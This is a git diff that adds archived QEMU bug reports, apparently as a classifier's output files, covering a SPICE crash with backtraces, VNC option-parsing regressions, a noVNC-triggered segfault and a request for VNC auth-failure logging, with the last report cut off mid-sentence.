0x00007f695f0236db in start_thread (arg=0x7f695449d700) at pthread_create.c:463 +#5 0x00007f695ed4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +Thread 2 (Thread 0x7f6952b4f700 (LWP 65366)): +#0 0x00007f695ed415d7 in ioctl () at ../sysdeps/unix/syscall-template.S:78 +#1 0x000055e7be910547 in kvm_vcpu_ioctl () +---Type <return> to continue, or q <return> to quit--- +#2 0x000055e7be910684 in kvm_cpu_exec () +#3 0x000055e7be8ed3f4 in () +#4 0x00007f695f0236db in start_thread (arg=0x7f6952b4f700) at pthread_create.c:463 +#5 0x00007f695ed4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +Thread 1 (Thread 0x7f6951a40700 (LWP 65368)): +#0 0x00007f695ec69e97 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 +#1 0x00007f695ec6b801 in __GI_abort () at abort.c:79 +#2 0x00007f695ff81cc9 in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#3 0x00007f695ff63929 in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#4 0x00007f695ff314f1 in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#5 0x00007f695ff37d7b in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#6 0x00007f695fa451f5 in g_main_context_dispatch () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#7 0x00007f695fa455c0 in () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#8 0x00007f695fa458d2 in g_main_loop_run () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#9 0x00007f695ff63b3a in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#10 0x00007f695f0236db in start_thread (arg=0x7f6951a40700) at pthread_create.c:463 +#11 0x00007f695ed4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +Regards, +Premysl + +Hi Premysl, +this has similarities to [1] which was fixed long ago. +In case it is reproducible for you - as it was asked back then - it might be helpful attaching SPICE_DEBUG=1 log, using remote-viewer. + +And if reproducible in general also worth a quick check to try with the latest qemu version which atm is 3.1 that you have in Debian Buster. + +[1]: https://bugzilla.redhat.com/show_bug.cgi?id=980714#c8 + +Hi Christian, + +thanks for reply, chmmm, what makes you think there are similarities? To me +it looks like a different problem. + +Regards, +Premysl + + +On Mon, Mar 18, 2019 at 8:15 AM Christian Ehrhardt < +<email address hidden>> wrote: + +> Hi Premysl, +> this has similarities to [1] which was fixed long ago. +> In case it is reproducible for you - as it was asked back then - it might +> be helpful attaching SPICE_DEBUG=1 log, using remote-viewer. +> +> And if reproducible in general also worth a quick check to try with the +> latest qemu version which atm is 3.1 that you have in Debian Buster. +> +> [1]: https://bugzilla.redhat.com/show_bug.cgi?id=980714#c8 +> +> ** Bug watch added: Red Hat Bugzilla #980714 +> https://bugzilla.redhat.com/show_bug.cgi?id=980714 +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1820247 +> +> Title: +> QEMU random crash caused by libspice-server +> +> Status in QEMU: +> New +> +> Bug description: +> Hi, +> +> One of our OpenStack instances crashed. It seems there was some +> problem related to SPICE. Attaching what we had in qemu log. Also +> sending our versions: +> +> Linux pre-node1 4.18.0-13-generic #14~18.04.1-Ubuntu SMP Thu Dec 6 +> 14:09:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux +> +> QEMU emulator version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.9) +> Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers +> +> +> root@pre-node1:~# cat /var/log/libvirt/qemu/instance-00000038.log +> 2019-03-10 20:39:36.510+0000: starting up libvirt version: 4.0.0, +> package: 1ubuntu8.6 (Christian Ehrhardt <email address hidden> +> Fri, 09 Nov 2018 07:42:01 +0100), qemu version: 2.11.1(Debian +> 1:2.11+dfsg-1ubuntu7.9), hostname: pre-node1 +> LC_ALL=C +> PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +> QEMU_AUDIO_DRV=spice /usr/bin/kvm-spice -name +> guest=instance-00000038,debug-threads=on -S -object +> secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-5-instance-00000038/master-key.aes +> -machine +> pc-i440fx-bionic,accel=kvm,usb=off,dump-guest-core=off,mem-merge=off -cpu +> Skylake-Server-IBRS,ss=on,hypervisor=on,tsc_adjust=on,clflushopt=on,pku=on,ssbd=on,xsaves=on +> -m 2048 -realtime mlock=on -smp 2,sockets=1,cores=1,threads=2 -object +> memory-backend-file,id=ram-node0,prealloc=yes,mem-path=/dev/hugepages/libvirt/qemu/5-instance-00000038,share=yes,size=2147483648,host-nodes=0,policy=bind +> -numa node,nodeid=0,cpus=0-1,memdev=ram-node0 -uuid +> 3c3d04f3-4b25-4ea5-8836-0e06eef9dcb7 -smbios 'type=1,manufacturer=OpenStack +> Foundation,product=OpenStack +> Nova,version=18.1.1,serial=93fa1a55-ba3a-4a99-80b3-3a7bb4e964af,uuid=3c3d04f3-4b25-4ea5-8836-0e06eef9dcb7,family=Virtual +> Machine' -no-user-config -nodefaults -chardev +> socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-5-instance-00000038/monitor.sock,server,nowait +> -mon chardev=charmonitor,id=monitor,mode=control -rtc +> base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet +> -no-shutdown -boot strict=on -device +> piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -device +> virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x3 -drive +> file=/var/lib/nova/instances/3c3d04f3-4b25-4ea5-8836-0e06eef9dcb7/disk,format=qcow2,if=none,id=drive-virtio-disk0,cache=none,discard=ignore,throttling.iops-read=5000,throttling.iops-write=5000 +> -device +> virtio-blk-pci,scsi=off,bus=pci.0,addr=0x4,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 +> -add-fd set=0,fd=29 -chardev +> pty,id=charserial0,logfile=/dev/fdset/0,logappend=on -device +> isa-serial,chardev=charserial0,id=serial0 -chardev +> spicevmc,id=charchannel0,name=vdagent -device +> virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 +> -spice port=5900,addr=10.252.0.101,disable-ticketing,seamless-migration=on +> -device +> qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 +> -device vfio-pci,host=25:04.1,id=hostdev0,bus=pci.0,addr=0x5 -device +> virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x6 -msg timestamp=on +> 2019-03-10T20:39:36.568276Z qemu-system-x86_64: -chardev +> pty,id=charserial0,logfile=/dev/fdset/0,logappend=on: char device +> redirected to /dev/pts/2 (label charserial0) +> inputs_channel_detach_tablet: +> main_channel_link: add main channel client +> main_channel_client_handle_pong: net test: latency 32.760000 ms, bitrate +> 33384953 bps (31.838372 Mbps) +> red_qxl_set_cursor_peer: +> inputs_connect: inputs channel client create +> +> (process:65324): Spice-WARNING **: 16:35:23.769: Failed to create +> channel client: Client 0x55e7c157e970: duplicate channel type 2 id 0 +> red_qxl_set_cursor_peer: +> +> (process:65324): Spice-WARNING **: 16:35:24.142: Failed to create +> channel client: Client 0x55e7c157e970: duplicate channel type 4 id 0 +> +> (process:65324): Spice-CRITICAL **: 16:35:24.142: +> cursor-channel.c:353:cursor_channel_connect: condition `ccc != NULL' failed +> 2019-03-13 15:35:31.785+0000: shutting down, reason=crashed +> +> +> +> I am also attaching some gdb information extracted from qemu crash dump +> file. These are backtraces of particular threads within the crashed QEMU +> process. +> +> +> Thread 9 (Thread 0x7f69649ea5c0 (LWP 65324)): +> #0 0x00007f695f02d2b7 in __libc_write (fd=26, buf=0x7ffc33f5b330, +> nbytes=56) at ../sysdeps/unix/sysv/linux/write.c:27 +> #1 0x00007f695ff30ed3 in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #2 0x00007f695ff316ce in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #3 0x00007f695ff52db6 in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #4 0x00007f695ff58e38 in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #5 0x00007f695ff5f463 in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #6 0x00007f695ff5f7bb in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #7 0x000055e7bec94584 in () +> #8 0x000055e7bec94e58 in aio_dispatch () +> #9 0x000055e7bec91e3e in () +> #10 0x00007f695fa45387 in g_main_context_dispatch () at +> /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +> #11 0x000055e7bec940a7 in main_loop_wait () +> #12 0x000055e7be8b8486 in main () +> +> Thread 8 (Thread 0x7f68b78fc700 (LWP 61873)): +> #0 0x00007f695f02c8c2 in futex_abstimed_wait_cancelable (private=0, +> abstime=0x7f68b78fb900, expected=0, futex_word=0x55e7c1531d78) +> at ../sysdeps/unix/sysv/linux/futex-internal.h:205 +> #1 0x00007f695f02c8c2 in do_futex_wait (sem=sem@entry=0x55e7c1531d78, +> abstime=abstime@entry=0x7f68b78fb900) at sem_waitcommon.c:111 +> #2 0x00007f695f02c9d3 in __new_sem_wait_slow (sem=0x55e7c1531d78, +> abstime=0x7f68b78fb900) at sem_waitcommon.c:181 +> #3 0x000055e7bec976cf in qemu_sem_timedwait () +> #4 0x000055e7bec928bc in () +> #5 0x00007f695f0236db in start_thread (arg=0x7f68b78fc700) at +> pthread_create.c:463 +> #6 0x00007f695ed4c88f in clone () at +> ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +> +> Thread 7 (Thread 0x7f688f7fe700 (LWP 61366)): +> #0 0x00007f695f02c8c2 in futex_abstimed_wait_cancelable (private=0, +> abstime=0x7f688f7fd900, expected=0, futex_word=0x55e7c1531d78) +> at ../sysdeps/unix/sysv/linux/futex-internal.h:205 +> #1 0x00007f695f02c8c2 in do_futex_wait (sem=sem@entry=0x55e7c1531d78, +> abstime=abstime@entry=0x7f688f7fd900) at sem_waitcommon.c:111 +> #2 0x00007f695f02c9d3 in __new_sem_wait_slow (sem=0x55e7c1531d78, +> abstime=0x7f688f7fd900) at sem_waitcommon.c:181 +> #3 0x000055e7bec976cf in qemu_sem_timedwait () +> #4 0x000055e7bec928bc in () +> #5 0x00007f695f0236db in start_thread (arg=0x7f688f7fe700) at +> pthread_create.c:463 +> #6 0x00007f695ed4c88f in clone () at +> ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +> +> Thread 6 (Thread 0x7f687effd700 (LWP 61362)): +> #0 0x00007f695f02c8c2 in futex_abstimed_wait_cancelable (private=0, +> abstime=0x7f687effc900, expected=0, futex_word=0x55e7c1531d78) +> at ../sysdeps/unix/sysv/linux/futex-internal.h:205 +> #1 0x00007f695f02c8c2 in do_futex_wait (sem=sem@entry=0x55e7c1531d78, +> abstime=abstime@entry=0x7f687effc900) at sem_waitcommon.c:111 +> #2 0x00007f695f02c9d3 in __new_sem_wait_slow (sem=0x55e7c1531d78, +> abstime=0x7f687effc900) at sem_waitcommon.c:181 +> #3 0x000055e7bec976cf in qemu_sem_timedwait () +> #4 0x000055e7bec928bc in () +> #5 0x00007f695f0236db in start_thread (arg=0x7f687effd700) at +> pthread_create.c:463 +> #6 0x00007f695ed4c88f in clone () at +> ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +> +> Thread 5 (Thread 0x7f68b58f1700 (LWP 60991)): +> #0 0x00007f695f02c8c2 in futex_abstimed_wait_cancelable (private=0, +> abstime=0x7f68b58f0900, expected=0, futex_word=0x55e7c1531d78) +> at ../sysdeps/unix/sysv/linux/futex-internal.h:205 +> #1 0x00007f695f02c8c2 in do_futex_wait (sem=sem@entry=0x55e7c1531d78, +> abstime=abstime@entry=0x7f68b58f0900) at sem_waitcommon.c:111 +> #2 0x00007f695f02c9d3 in __new_sem_wait_slow (sem=0x55e7c1531d78, +> abstime=0x7f68b58f0900) at sem_waitcommon.c:181 +> #3 0x000055e7bec976cf in qemu_sem_timedwait () +> #4 0x000055e7bec928bc in () +> #5 0x00007f695f0236db in start_thread (arg=0x7f68b58f1700) at +> pthread_create.c:463 +> #6 0x00007f695ed4c88f in clone () at +> ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +> +> Thread 4 (Thread 0x7f69564a2700 (LWP 65331)): +> #0 0x00007f695ed46839 in syscall () at +> ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38 +> #1 0x000055e7bec9790b in qemu_event_wait () +> #2 0x000055e7beca7ebe in () +> #3 0x00007f695f0236db in start_thread (arg=0x7f69564a2700) at +> pthread_create.c:463 +> #4 0x00007f695ed4c88f in clone () at +> ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +> +> Thread 3 (Thread 0x7f695449d700 (LWP 65363)): +> #0 0x00007f695ed415d7 in ioctl () at +> ../sysdeps/unix/syscall-template.S:78 +> #1 0x000055e7be910547 in kvm_vcpu_ioctl () +> #2 0x000055e7be910684 in kvm_cpu_exec () +> #3 0x000055e7be8ed3f4 in () +> #4 0x00007f695f0236db in start_thread (arg=0x7f695449d700) at +> pthread_create.c:463 +> #5 0x00007f695ed4c88f in clone () at +> ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +> +> Thread 2 (Thread 0x7f6952b4f700 (LWP 65366)): +> #0 0x00007f695ed415d7 in ioctl () at +> ../sysdeps/unix/syscall-template.S:78 +> #1 0x000055e7be910547 in kvm_vcpu_ioctl () +> ---Type <return> to continue, or q <return> to quit--- +> #2 0x000055e7be910684 in kvm_cpu_exec () +> #3 0x000055e7be8ed3f4 in () +> #4 0x00007f695f0236db in start_thread (arg=0x7f6952b4f700) at +> pthread_create.c:463 +> #5 0x00007f695ed4c88f in clone () at +> ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +> +> Thread 1 (Thread 0x7f6951a40700 (LWP 65368)): +> #0 0x00007f695ec69e97 in __GI_raise (sig=sig@entry=6) at +> ../sysdeps/unix/sysv/linux/raise.c:51 +> #1 0x00007f695ec6b801 in __GI_abort () at abort.c:79 +> #2 0x00007f695ff81cc9 in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #3 0x00007f695ff63929 in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #4 0x00007f695ff314f1 in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #5 0x00007f695ff37d7b in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #6 0x00007f695fa451f5 in g_main_context_dispatch () at +> /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +> #7 0x00007f695fa455c0 in () at +> /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +> #8 0x00007f695fa458d2 in g_main_loop_run () at +> /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +> #9 0x00007f695ff63b3a in () at +> /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +> #10 0x00007f695f0236db in start_thread (arg=0x7f6951a40700) at +> pthread_create.c:463 +> #11 0x00007f695ed4c88f in clone () at +> ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 +> +> Regards, +> Premysl +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1820247/+subscriptions +> + + +Hi, +the warnings around "duplicate channel type 2 id 0" where present in the other bug as well. +And since that often means it passes the same area of code I wanted to suggest to provide the same debug data. + +The actual crash is a different one for sure as the stack traces look different and also the old one is fixed quite some time. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/visibility./1893744 b/results/classifier/deepseek-1/output/visibility./1893744 new file mode 100644 index 00000000..b58b4ef1 --- /dev/null +++ b/results/classifier/deepseek-1/output/visibility./1893744 @@ -0,0 +1,128 @@ + +meson: incomplete 'make help' + +Since the meson switch, 'make help' doesn't list various targets. + +Diff before/after: + +--- + Generic targets: + all - Build all + dir/file.o - Build specified target only + install - Install QEMU + ctags/TAGS - Generate tags file for editors + cscope - Generate cscope index +- +-Architecture specific targets: +- aarch64-softmmu/all - Build for aarch64-softmmu +- alpha-softmmu/all - Build for alpha-softmmu +- arm-softmmu/all - Build for arm-softmmu +- avr-softmmu/all - Build for avr-softmmu +- cris-softmmu/all - Build for cris-softmmu +- hppa-softmmu/all - Build for hppa-softmmu +- i386-softmmu/all - Build for i386-softmmu +- lm32-softmmu/all - Build for lm32-softmmu +- m68k-softmmu/all - Build for m68k-softmmu +- microblazeel-softmmu/all - Build for microblazeel-softmmu +- microblaze-softmmu/all - Build for microblaze-softmmu +- mips64el-softmmu/all - Build for mips64el-softmmu +- mips64-softmmu/all - Build for mips64-softmmu +- mipsel-softmmu/all - Build for mipsel-softmmu +- mips-softmmu/all - Build for mips-softmmu +- moxie-softmmu/all - Build for moxie-softmmu +- nios2-softmmu/all - Build for nios2-softmmu +- or1k-softmmu/all - Build for or1k-softmmu +- ppc64-softmmu/all - Build for ppc64-softmmu +- ppc-softmmu/all - Build for ppc-softmmu +- riscv32-softmmu/all - Build for riscv32-softmmu +- riscv64-softmmu/all - Build for riscv64-softmmu +- rx-softmmu/all - Build for rx-softmmu +- s390x-softmmu/all - Build for s390x-softmmu +- sh4eb-softmmu/all - Build for sh4eb-softmmu +- sh4-softmmu/all - Build for sh4-softmmu +- sparc64-softmmu/all - Build for sparc64-softmmu +- sparc-softmmu/all - Build for sparc-softmmu +- tricore-softmmu/all - Build for tricore-softmmu +- unicore32-softmmu/all - Build for unicore32-softmmu +- x86_64-softmmu/all - Build for x86_64-softmmu +- xtensaeb-softmmu/all - Build for xtensaeb-softmmu +- xtensa-softmmu/all - Build for xtensa-softmmu +- aarch64_be-linux-user/all - Build for aarch64_be-linux-user +- aarch64-linux-user/all - Build for aarch64-linux-user +- alpha-linux-user/all - Build for alpha-linux-user +- armeb-linux-user/all - Build for armeb-linux-user +- arm-linux-user/all - Build for arm-linux-user +- cris-linux-user/all - Build for cris-linux-user +- hppa-linux-user/all - Build for hppa-linux-user +- i386-linux-user/all - Build for i386-linux-user +- m68k-linux-user/all - Build for m68k-linux-user +- microblazeel-linux-user/all - Build for microblazeel-linux-user +- microblaze-linux-user/all - Build for microblaze-linux-user +- mips64el-linux-user/all - Build for mips64el-linux-user +- mips64-linux-user/all - Build for mips64-linux-user +- mipsel-linux-user/all - Build for mipsel-linux-user +- mips-linux-user/all - Build for mips-linux-user +- mipsn32el-linux-user/all - Build for mipsn32el-linux-user +- mipsn32-linux-user/all - Build for mipsn32-linux-user +- nios2-linux-user/all - Build for nios2-linux-user +- or1k-linux-user/all - Build for or1k-linux-user +- ppc64abi32-linux-user/all - Build for ppc64abi32-linux-user +- ppc64le-linux-user/all - Build for ppc64le-linux-user +- ppc64-linux-user/all - Build for ppc64-linux-user +- ppc-linux-user/all - Build for ppc-linux-user +- riscv32-linux-user/all - Build for riscv32-linux-user +- riscv64-linux-user/all - Build for riscv64-linux-user +- s390x-linux-user/all - Build for s390x-linux-user +- sh4eb-linux-user/all - Build for sh4eb-linux-user +- sh4-linux-user/all - Build for sh4-linux-user +- sparc32plus-linux-user/all - Build for sparc32plus-linux-user +- sparc64-linux-user/all - Build for sparc64-linux-user +- sparc-linux-user/all - Build for sparc-linux-user +- tilegx-linux-user/all - Build for tilegx-linux-user +- x86_64-linux-user/all - Build for x86_64-linux-user +- xtensaeb-linux-user/all - Build for xtensaeb-linux-user +- xtensa-linux-user/all - Build for xtensa-linux-user +- +-Helper targets: +- fsdev/virtfs-proxy-helper - Build virtfs-proxy-helper +- scsi/qemu-pr-helper - Build qemu-pr-helper +- qemu-bridge-helper - Build qemu-bridge-helper +- vhost-user-gpu - Build vhost-user-gpu +- virtiofsd - Build virtiofsd +- +-Tools targets: +- qemu-ga - Build qemu-ga tool +- qemu-keymap - Build qemu-keymap tool +- elf2dmp - Build elf2dmp tool +- ivshmem-client - Build ivshmem-client tool +- ivshmem-server - Build ivshmem-server tool +- qemu-nbd - Build qemu-nbd tool +- qemu-storage-daemon - Build qemu-storage-daemon tool +- qemu-img - Build qemu-img tool +- qemu-io - Build qemu-io tool +- qemu-edid - Build qemu-edid tool ++ sparse - Run sparse on the QEMU source + + Cleaning targets: + clean - Remove most generated files but keep +the config +@@ -105,7 +20,7 @@ + vm-help - Help about targets running tests +inside VM + + Documentation targets: +- html info pdf txt - Build documentation in specified format ++ html info pdf txt man - Build documentation in specified format + + make [targets] - (quiet build, default) + make V=1 [targets] - (verbose build) +--- + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'invalid' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/227 + + diff --git a/results/classifier/deepseek-1/output/vnc/1414222 b/results/classifier/deepseek-1/output/vnc/1414222 new file mode 100644 index 00000000..09c0ac11 --- /dev/null +++ b/results/classifier/deepseek-1/output/vnc/1414222 @@ -0,0 +1,93 @@ + +qemu-system-i386: -vnc localhost:0,to=99,id=default: Invalid parameter 'to' + +git-bisect pints to: + +4db14629c38611061fc19ec6927405923de84f08 is the first bad commit +commit 4db14629c38611061fc19ec6927405923de84f08 +Author: Gerd Hoffmann <email address hidden> +Date: Tue Sep 16 12:33:03 2014 +0200 + + vnc: switch to QemuOpts, allow multiple servers + + This patch switches vnc over to QemuOpts, and it (more or less + as side effect) allows multiple vnc server instances. + + Signed-off-by: Gerd Hoffmann <email address hidden> + +:040000 040000 70020c79b463eaff4b91c8c7f985240d1d1914f0 354a3a125e7b82a1699ce4e0cfc5055662bd3466 M include +:100644 100644 0b4f131936052ed6062ba4b2b9434da0c2cce959 963305c26917a930f37d916df66b319d6558d281 M qmp.c +:040000 040000 e7933d52124ae48100893eed8e14cbe46f80b936 30fa5966f5c8362d6db6730a7091bbde7780d4d8 M ui +:100644 100644 9fb32c13df1c14daf8304184c6503d16bff7afce 983259bc9f7064b446da358a316a31a31731a223 M vl.c + +-vnc 127.0.0.1:0,to=99 is used by Xen + +On 01/29/15 07:52, <email address hidden> wrote: +> From: Gonglei <email address hidden> +> +> Reproducer: +> $ x86_64-softmmu/qemu-system-x86_64 +> qemu-system-x86_64: Invalid parameter 'to' +> Segmentation fault (core dumped) +> + +This looks to be a fix for + +Subject: [Qemu-devel] [Bug 1414222] [NEW] qemu-system-i386: -vnc + + -Don Slutz + + +> Patch 1~2 is bugfix, patch 3 is trivial. +> +> Gonglei (3): +> vnc: fix qemu crash when not configure vnc option +> vnc: correct missing property about vnc_display +> vnc: using bool type instead of int for QEMU_OPT_BOOL +> +> ui/vnc.c | 45 +++++++++++++++++++++++++++++++++++++-------- +> 1 file changed, 37 insertions(+), 8 deletions(-) +> + + + +On 2015/1/30 0:10, Don Slutz wrote: + +> On 01/29/15 07:52, <email address hidden> wrote: +>> From: Gonglei <email address hidden> +>> +>> Reproducer: +>> $ x86_64-softmmu/qemu-system-x86_64 +>> qemu-system-x86_64: Invalid parameter 'to' +>> Segmentation fault (core dumped) +>> +> +> This looks to be a fix for +> +> Subject: [Qemu-devel] [Bug 1414222] [NEW] qemu-system-i386: -vnc +> + +Oh, yes. Thanks for your point. I'll add it in commit message :) + +Regards, +-Gonglei + +> -Don Slutz +> +> +>> Patch 1~2 is bugfix, patch 3 is trivial. +>> +>> Gonglei (3): +>> vnc: fix qemu crash when not configure vnc option +>> vnc: correct missing property about vnc_display +>> vnc: using bool type instead of int for QEMU_OPT_BOOL +>> +>> ui/vnc.c | 45 +++++++++++++++++++++++++++++++++++++-------- +>> 1 file changed, 37 insertions(+), 8 deletions(-) +>> +> + + + + + diff --git a/results/classifier/deepseek-1/output/vnc/1455912 b/results/classifier/deepseek-1/output/vnc/1455912 new file mode 100644 index 00000000..97485c06 --- /dev/null +++ b/results/classifier/deepseek-1/output/vnc/1455912 @@ -0,0 +1,41 @@ + +vnc websocket option not properly parsed when running on commandline + +All of my vms are started with a simple script on the command line. +Starting with Qemu 2.3.0, the option "-vnc host:port,websocket" is no longer working. + +Previously if I said listen on Tor:17,websocket it would function correctly. Now it's kicking an error: + + +qemu-system-x86_64: -vnc tor:17,websocket: Failed to start VNC server on `(null)': address resolution failed for tor:on: Servname not supported for ai_socktype + +The error leads me to believe it's not parsing the command line options for the "vnc" option correctly. If I leave off ",websocket" it works correctly. I've even tried, replacing the hostname with an IP address, and using the alternate form " -display vnc=tor:17,webscoket". It reports the same error. + +Someone has had a similar issue with the port portion of the display as a string and not an integer (so it's looking in /etc/services etc): + +http://stackoverflow.com/questions/23079017/servname-not-supported-for-ai-socktype + + +I have more information about the bug. The host I'm running this on is called "tor' (no, it has nothing to do with an onion router, its an old nickname and something I've been calling my main dev host for years). Its IP is 10.16.0.5. If I designate the command line option as "-vnc tor:11,websocket=5711" or "-vnc 10.16.0.5:11,websocket=5711" it appears to work fine. + +I have to include the specific IP I wish it to listen on because this host has a lot of different interfaces, and I don't want it listening on all interfaces. So there's still an issue with it resolving the "short" name in local dns to the local IP, and listening only on that IP with the abbreviated option. It's still not parsed correctly. + +On another host, with much fewer interfaces and addresses, a simple "-vnc :80,websocket" works fine without modification. Same version of Qemu, the ArchLinux x86_64 package for 2.3.0-2. + + + +This is an accidental regression caused by + + commit 4db14629c38611061fc19ec6927405923de84f08 + Author: Gerd Hoffmann <email address hidden> + Date: Tue Sep 16 12:33:03 2014 +0200 + + vnc: switch to QemuOpts, allow multiple servers + + + +https://lists.gnu.org/archive/html/qemu-devel/2017-01/msg00583.html + +Dan's patch linked in comment #4 went into git as commit 1b1aeb5828c978a, so this has been fixed (with the fix going into the 2.9.0 release). + + diff --git a/results/classifier/deepseek-1/output/vnc/1484925 b/results/classifier/deepseek-1/output/vnc/1484925 new file mode 100644 index 00000000..42ce75d3 --- /dev/null +++ b/results/classifier/deepseek-1/output/vnc/1484925 @@ -0,0 +1,53 @@ + +Segfault with custom vnc client + +Hey, + +I'm using Citrix XenServer 6.5. I worte a script that uses noVNC to connect to the rfb console via xapi. When I use GRML and try to boot it, the QEMU process segfaults and kills my VM. This happens when the screen resizes and the kernel is loading: + +recvfrom(3, "\3\1\0\0\0\0\2\200\1\220\3\0\2\200\0\0\0P\1\220", 4096, 0, NULL, NULL) = 20 +--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xb28000} --- + +I can see in the child process the following message, right before the parent Segfaults: +read(4, "cirrus: blanking the screen line_offset=0 height=480\n", 53) = 53 + +This issue only happens, when I have my custom php/novnc-client connected. I also tried the nodejs/novnc package from xen-orchestra - same result. Using the stock client from Citrix XenCenter it works just fine. So I think it is related to noVNC. I hope this is just a bug and not exploitable to force a VM to crash or execute code. + +XenServer launches the qemu with the following command line: + +qemu-dm-25 --syslog -d 25 -m 2048 -boot dc -serial pty -vcpus 1 -videoram 4 -vncunused -k en-us -vnc 127.0.0.1:1 -usb -usbdevice tablet -net nic,vlan=0,macaddr=8a:43:e2:b1:57:df,model=rtl8139 -net tap,vlan=0,bridge=xenbr0,ifname=tap25.0 -acpi -monitor pty + +XenServer 6.5 is using the following version: +# /usr/lib64/xen/bin/qemu-dm -help +QEMU PC emulator version 0.10.2, Copyright (c) 2003-2008 Fabrice Bellard + +Greetings +Uli Stärk + +Can you attach GDB to your qemu-dm process and attempt to capture a full stack trace when it crashes (ie thread apply all backtrace) + + +Hi, + +Did you resolve your problem? Because I have the same issus.. + +Dubravko + +No, sorry. I've stopped researching this issue. + +Dubravko: can you get a good backtrace from your crash? + +Hi, + +Xen Orchestra project leader here. Exactly the same problem with noVNC + qemu-dm. + +I assume there is maybe an invalid param from noVNC somewhere, but crashing the process is not really expected. + +The bug is also reported at Citrix (see https://bugs.xenserver.org/browse/XSO-381) + +I don't know how to give you more info, if you have some commands to use to help you, tell me :) + +QEMU 0.10 is pretty much outdated nowadays... can you reproduce this issue with the latest version of QEMU, and if so, provide a backtrace of the crash? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/vnc/1661176 b/results/classifier/deepseek-1/output/vnc/1661176 new file mode 100644 index 00000000..3ec076c3 --- /dev/null +++ b/results/classifier/deepseek-1/output/vnc/1661176 @@ -0,0 +1,10 @@ + +[2.8.0] Under VNC CTRL-ALT-2 doesn't get to the monitor + +With version 2.6.2 I could access the monitor via VNC by pressing CTRL-ALT-2, while CTRL-ALT-3 brought me to the "serial0 console". CTRL-ALT-1 brought me back to the VGA console. +Since 2.8.0 CTRL-ALT-2 brings me to the "serial0 console" and CTRL-ALT-3 to the "parallel0 console". The monitor is not available any more, to any CTRL-ALT-1stROW. + +Can you still reproduce your issue with the latest version of QEMU (currently v4.2.0)? Please also always add the way how you launched QEMU (ie. the command line parameters) + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/vnc/1828207 b/results/classifier/deepseek-1/output/vnc/1828207 new file mode 100644 index 00000000..9fbaaebb --- /dev/null +++ b/results/classifier/deepseek-1/output/vnc/1828207 @@ -0,0 +1,40 @@ + +Request to add something like "Auth failed from IP" log report for built-in VNC server + +In environment with needs of public accessible VNC ports there is no logs or other registered events about authentication failures to analyze and/or integrate it to automated services like fail2ban ans so on. +Thus the built-in VNC service is vulnerable to 